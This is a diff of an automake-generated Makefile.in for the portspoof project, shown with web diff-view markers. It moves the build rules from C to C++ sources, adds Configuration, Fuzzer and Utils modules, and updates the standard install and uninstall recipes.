cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
|
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
|
||||||
$(ACLOCAL_M4): $(am__aclocal_m4_deps)
|
$(ACLOCAL_M4): $(am__aclocal_m4_deps)
|
||||||
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
|
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
|
||||||
|
$(am__aclocal_m4_deps):
|
||||||
|
|
||||||
config.h: stamp-h1
|
config.h: stamp-h1
|
||||||
@if test ! -f $@; then \
|
@if test ! -f $@; then \
|
||||||
@ -215,7 +231,7 @@ stamp-h1: $(srcdir)/config.h.in $(top_builddir)/config.status
|
|||||||
@rm -f stamp-h1
|
@rm -f stamp-h1
|
||||||
cd $(top_builddir) && $(SHELL) ./config.status src/config.h
|
cd $(top_builddir) && $(SHELL) ./config.status src/config.h
|
||||||
$(srcdir)/config.h.in: $(am__configure_deps)
|
$(srcdir)/config.h.in: $(am__configure_deps)
|
||||||
cd $(top_srcdir) && $(AUTOHEADER)
|
($(am__cd) $(top_srcdir) && $(AUTOHEADER))
|
||||||
rm -f stamp-h1
|
rm -f stamp-h1
|
||||||
touch $@
|
touch $@
|
||||||
|
|
||||||
@ -224,23 +240,37 @@ distclean-hdr:
|
|||||||
install-binPROGRAMS: $(bin_PROGRAMS)
|
install-binPROGRAMS: $(bin_PROGRAMS)
|
||||||
@$(NORMAL_INSTALL)
|
@$(NORMAL_INSTALL)
|
||||||
test -z "$(bindir)" || $(MKDIR_P) "$(DESTDIR)$(bindir)"
|
test -z "$(bindir)" || $(MKDIR_P) "$(DESTDIR)$(bindir)"
|
||||||
@list='$(bin_PROGRAMS)'; for p in $$list; do \
|
@list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \
|
||||||
p1=`echo $$p|sed 's/$(EXEEXT)$$//'`; \
|
for p in $$list; do echo "$$p $$p"; done | \
|
||||||
if test -f $$p \
|
sed 's/$(EXEEXT)$$//' | \
|
||||||
; then \
|
while read p p1; do if test -f $$p; \
|
||||||
f=`echo "$$p1" | sed 's,^.*/,,;$(transform);s/$$/$(EXEEXT)/'`; \
|
then echo "$$p"; echo "$$p"; else :; fi; \
|
||||||
echo " $(INSTALL_PROGRAM_ENV) $(binPROGRAMS_INSTALL) '$$p' '$(DESTDIR)$(bindir)/$$f'"; \
|
done | \
|
||||||
$(INSTALL_PROGRAM_ENV) $(binPROGRAMS_INSTALL) "$$p" "$(DESTDIR)$(bindir)/$$f" || exit 1; \
|
sed -e 'p;s,.*/,,;n;h' -e 's|.*|.|' \
|
||||||
else :; fi; \
|
-e 'p;x;s,.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/' | \
|
||||||
done
|
sed 'N;N;N;s,\n, ,g' | \
|
||||||
|
$(AWK) 'BEGIN { files["."] = ""; dirs["."] = 1 } \
|
||||||
|
{ d=$$3; if (dirs[d] != 1) { print "d", d; dirs[d] = 1 } \
|
||||||
|
if ($$2 == $$4) files[d] = files[d] " " $$1; \
|
||||||
|
else { print "f", $$3 "/" $$4, $$1; } } \
|
||||||
|
END { for (d in files) print "f", d, files[d] }' | \
|
||||||
|
while read type dir files; do \
|
||||||
|
if test "$$dir" = .; then dir=; else dir=/$$dir; fi; \
|
||||||
|
test -z "$$files" || { \
|
||||||
|
echo " $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files '$(DESTDIR)$(bindir)$$dir'"; \
|
||||||
|
$(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files "$(DESTDIR)$(bindir)$$dir" || exit $$?; \
|
||||||
|
} \
|
||||||
|
; done
|
||||||
|
|
||||||
uninstall-binPROGRAMS:
|
uninstall-binPROGRAMS:
|
||||||
@$(NORMAL_UNINSTALL)
|
@$(NORMAL_UNINSTALL)
|
||||||
@list='$(bin_PROGRAMS)'; for p in $$list; do \
|
@list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \
|
||||||
f=`echo "$$p" | sed 's,^.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/'`; \
|
files=`for p in $$list; do echo "$$p"; done | \
|
||||||
echo " rm -f '$(DESTDIR)$(bindir)/$$f'"; \
|
sed -e 'h;s,^.*/,,;s/$(EXEEXT)$$//;$(transform)' \
|
||||||
rm -f "$(DESTDIR)$(bindir)/$$f"; \
|
-e 's/$$/$(EXEEXT)/' `; \
|
||||||
done
|
test -n "$$list" || exit 0; \
|
||||||
|
echo " ( cd '$(DESTDIR)$(bindir)' && rm -f" $$files ")"; \
|
||||||
|
cd "$(DESTDIR)$(bindir)" && rm -f $$files
|
||||||
|
|
||||||
clean-binPROGRAMS:
|
clean-binPROGRAMS:
|
||||||
-test -z "$(bin_PROGRAMS)" || rm -f $(bin_PROGRAMS)
|
-test -z "$(bin_PROGRAMS)" || rm -f $(bin_PROGRAMS)
|
||||||
@ -254,140 +284,174 @@ mostlyclean-compile:
|
|||||||
distclean-compile:
|
distclean-compile:
|
||||||
-rm -f *.tab.c
|
-rm -f *.tab.c
|
||||||
|
|
||||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-config_file.Po@am__quote@
|
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Configuration.Po@am__quote@
|
||||||
|
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Fuzzer.Po@am__quote@
|
||||||
|
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Utils.Po@am__quote@
|
||||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-connection.Po@am__quote@
|
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-connection.Po@am__quote@
|
||||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-log.Po@am__quote@
|
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-log.Po@am__quote@
|
||||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-portspoof.Po@am__quote@
|
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-portspoof.Po@am__quote@
|
||||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-revregex.Po@am__quote@
|
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-revregex.Po@am__quote@
|
||||||
|
|
||||||
.c.o:
|
.cpp.o:
|
||||||
@am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $<
|
@am__fastdepCXX_TRUE@ $(CXXCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $<
|
||||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
@am__fastdepCC_FALSE@ $(COMPILE) -c $<
|
@am__fastdepCXX_FALSE@ $(CXXCOMPILE) -c -o $@ $<
|
||||||
|
|
||||||
.c.obj:
|
.cpp.obj:
|
||||||
@am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'`
|
@am__fastdepCXX_TRUE@ $(CXXCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'`
|
||||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
@am__fastdepCC_FALSE@ $(COMPILE) -c `$(CYGPATH_W) '$<'`
|
@am__fastdepCXX_FALSE@ $(CXXCOMPILE) -c -o $@ `$(CYGPATH_W) '$<'`
|
||||||
|
|
||||||
portspoof-connection.o: connection.c
|
portspoof-Configuration.o: Configuration.cpp
|
||||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-connection.o -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.o `test -f 'connection.c' || echo '$(srcdir)/'`connection.c
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Configuration.o -MD -MP -MF $(DEPDIR)/portspoof-Configuration.Tpo -c -o portspoof-Configuration.o `test -f 'Configuration.cpp' || echo '$(srcdir)/'`Configuration.cpp
|
||||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Configuration.Tpo $(DEPDIR)/portspoof-Configuration.Po
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='connection.c' object='portspoof-connection.o' libtool=no @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Configuration.cpp' object='portspoof-Configuration.o' libtool=no @AMDEPBACKSLASH@
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-connection.o `test -f 'connection.c' || echo '$(srcdir)/'`connection.c
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Configuration.o `test -f 'Configuration.cpp' || echo '$(srcdir)/'`Configuration.cpp
|
||||||
|
|
||||||
portspoof-connection.obj: connection.c
|
portspoof-Configuration.obj: Configuration.cpp
|
||||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-connection.obj -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.obj `if test -f 'connection.c'; then $(CYGPATH_W) 'connection.c'; else $(CYGPATH_W) '$(srcdir)/connection.c'; fi`
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Configuration.obj -MD -MP -MF $(DEPDIR)/portspoof-Configuration.Tpo -c -o portspoof-Configuration.obj `if test -f 'Configuration.cpp'; then $(CYGPATH_W) 'Configuration.cpp'; else $(CYGPATH_W) '$(srcdir)/Configuration.cpp'; fi`
|
||||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Configuration.Tpo $(DEPDIR)/portspoof-Configuration.Po
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='connection.c' object='portspoof-connection.obj' libtool=no @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Configuration.cpp' object='portspoof-Configuration.obj' libtool=no @AMDEPBACKSLASH@
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-connection.obj `if test -f 'connection.c'; then $(CYGPATH_W) 'connection.c'; else $(CYGPATH_W) '$(srcdir)/connection.c'; fi`
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Configuration.obj `if test -f 'Configuration.cpp'; then $(CYGPATH_W) 'Configuration.cpp'; else $(CYGPATH_W) '$(srcdir)/Configuration.cpp'; fi`
|
||||||
|
|
||||||
portspoof-portspoof.o: portspoof.c
|
portspoof-connection.o: connection.cpp
|
||||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-portspoof.o -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.o `test -f 'portspoof.c' || echo '$(srcdir)/'`portspoof.c
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-connection.o -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.o `test -f 'connection.cpp' || echo '$(srcdir)/'`connection.cpp
|
||||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='portspoof.c' object='portspoof-portspoof.o' libtool=no @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='connection.cpp' object='portspoof-connection.o' libtool=no @AMDEPBACKSLASH@
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-portspoof.o `test -f 'portspoof.c' || echo '$(srcdir)/'`portspoof.c
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-connection.o `test -f 'connection.cpp' || echo '$(srcdir)/'`connection.cpp
|
||||||
|
|
||||||
portspoof-portspoof.obj: portspoof.c
|
portspoof-connection.obj: connection.cpp
|
||||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-portspoof.obj -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.obj `if test -f 'portspoof.c'; then $(CYGPATH_W) 'portspoof.c'; else $(CYGPATH_W) '$(srcdir)/portspoof.c'; fi`
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-connection.obj -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.obj `if test -f 'connection.cpp'; then $(CYGPATH_W) 'connection.cpp'; else $(CYGPATH_W) '$(srcdir)/connection.cpp'; fi`
|
||||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='portspoof.c' object='portspoof-portspoof.obj' libtool=no @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='connection.cpp' object='portspoof-connection.obj' libtool=no @AMDEPBACKSLASH@
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-portspoof.obj `if test -f 'portspoof.c'; then $(CYGPATH_W) 'portspoof.c'; else $(CYGPATH_W) '$(srcdir)/portspoof.c'; fi`
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-connection.obj `if test -f 'connection.cpp'; then $(CYGPATH_W) 'connection.cpp'; else $(CYGPATH_W) '$(srcdir)/connection.cpp'; fi`
|
||||||
|
|
||||||
portspoof-revregex.o: revregex.c
|
portspoof-Fuzzer.o: Fuzzer.cpp
|
||||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-revregex.o -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.o `test -f 'revregex.c' || echo '$(srcdir)/'`revregex.c
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Fuzzer.o -MD -MP -MF $(DEPDIR)/portspoof-Fuzzer.Tpo -c -o portspoof-Fuzzer.o `test -f 'Fuzzer.cpp' || echo '$(srcdir)/'`Fuzzer.cpp
|
||||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Fuzzer.Tpo $(DEPDIR)/portspoof-Fuzzer.Po
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='revregex.c' object='portspoof-revregex.o' libtool=no @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Fuzzer.cpp' object='portspoof-Fuzzer.o' libtool=no @AMDEPBACKSLASH@
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-revregex.o `test -f 'revregex.c' || echo '$(srcdir)/'`revregex.c
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Fuzzer.o `test -f 'Fuzzer.cpp' || echo '$(srcdir)/'`Fuzzer.cpp
|
||||||
|
|
||||||
portspoof-revregex.obj: revregex.c
|
portspoof-Fuzzer.obj: Fuzzer.cpp
|
||||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-revregex.obj -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.obj `if test -f 'revregex.c'; then $(CYGPATH_W) 'revregex.c'; else $(CYGPATH_W) '$(srcdir)/revregex.c'; fi`
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Fuzzer.obj -MD -MP -MF $(DEPDIR)/portspoof-Fuzzer.Tpo -c -o portspoof-Fuzzer.obj `if test -f 'Fuzzer.cpp'; then $(CYGPATH_W) 'Fuzzer.cpp'; else $(CYGPATH_W) '$(srcdir)/Fuzzer.cpp'; fi`
|
||||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Fuzzer.Tpo $(DEPDIR)/portspoof-Fuzzer.Po
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='revregex.c' object='portspoof-revregex.obj' libtool=no @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Fuzzer.cpp' object='portspoof-Fuzzer.obj' libtool=no @AMDEPBACKSLASH@
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-revregex.obj `if test -f 'revregex.c'; then $(CYGPATH_W) 'revregex.c'; else $(CYGPATH_W) '$(srcdir)/revregex.c'; fi`
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Fuzzer.obj `if test -f 'Fuzzer.cpp'; then $(CYGPATH_W) 'Fuzzer.cpp'; else $(CYGPATH_W) '$(srcdir)/Fuzzer.cpp'; fi`
|
||||||
|
|
||||||
portspoof-log.o: log.c
|
portspoof-log.o: log.cpp
|
||||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-log.o -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.o `test -f 'log.c' || echo '$(srcdir)/'`log.c
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-log.o -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.o `test -f 'log.cpp' || echo '$(srcdir)/'`log.cpp
|
||||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='log.c' object='portspoof-log.o' libtool=no @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='log.cpp' object='portspoof-log.o' libtool=no @AMDEPBACKSLASH@
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-log.o `test -f 'log.c' || echo '$(srcdir)/'`log.c
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-log.o `test -f 'log.cpp' || echo '$(srcdir)/'`log.cpp
|
||||||
|
|
||||||
portspoof-log.obj: log.c
|
portspoof-log.obj: log.cpp
|
||||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-log.obj -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.obj `if test -f 'log.c'; then $(CYGPATH_W) 'log.c'; else $(CYGPATH_W) '$(srcdir)/log.c'; fi`
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-log.obj -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.obj `if test -f 'log.cpp'; then $(CYGPATH_W) 'log.cpp'; else $(CYGPATH_W) '$(srcdir)/log.cpp'; fi`
|
||||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='log.c' object='portspoof-log.obj' libtool=no @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='log.cpp' object='portspoof-log.obj' libtool=no @AMDEPBACKSLASH@
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-log.obj `if test -f 'log.c'; then $(CYGPATH_W) 'log.c'; else $(CYGPATH_W) '$(srcdir)/log.c'; fi`
|
